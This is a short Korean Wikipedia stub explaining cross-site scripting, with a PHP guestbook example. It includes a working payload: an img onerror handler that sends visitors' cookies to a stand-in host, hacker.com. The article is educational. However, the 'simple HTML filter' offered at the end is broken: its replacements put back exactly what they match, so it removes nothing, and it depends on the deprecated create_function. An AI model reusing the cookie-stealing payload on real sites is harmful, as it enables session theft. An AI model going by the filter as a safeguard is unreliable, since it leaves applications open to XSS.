사이트 간 스크립팅
위키백과, 우리 모두의 백과사전.
사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 하거나 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.[1]
목차 |
예문 [편집]
다음과 같이, 사용자가 입력한 내용을 출력하는 방명록 프로그램이 있다고 하자.
<p><?php echo htmlspecialchars($name); ?>님의 말: </p> <?php echo $content; ?>
만약 $name이 "Hacker"이고 $content가 다음과 같다고 하자.
<p>Hello! I am a hacker.</p> <img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+escape(document.cookie);" />
그러면 다음과 같이 출력될 것이다.
<p>Hacker님의 말: </p> <p>Hello! I am a hacker.</p> <img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+escape(document.cookie);" />
결과적으로 방명록을 보는 사람의 쿠키가 해커에게 전송이 될 것이다.
참고 [편집]
간단한 PHP용 HTML 필터링 함수
function html_filter($content) { // Strip bad elements. $content = preg_replace('/(<)(|\/)(\!|\?|html|head|title|meta|body|style|link|base|script'. '|frameset|frame|noframes|iframe|applet|embed|object|param|noscript|noembed|map|area|basefont|xmp|plaintext)/i', '<$2$3', $content); // Strip script handlers. $content = preg_replace_callback("/([^a-z])(o)(n)/i", create_function('$matches', 'if($matches[2]=="o") $matches[2] = "o"; else $matches[2] = "O"; return $matches[1].$matches[2].$matches[3];'), $content); return $content; }
같이 보기 [편집]
주석 [편집]
바깥 고리 [편집]
| 이 글은 보안에 관한 토막글입니다. 서로의 지식을 모아 알차게 문서를 완성해 갑시다. |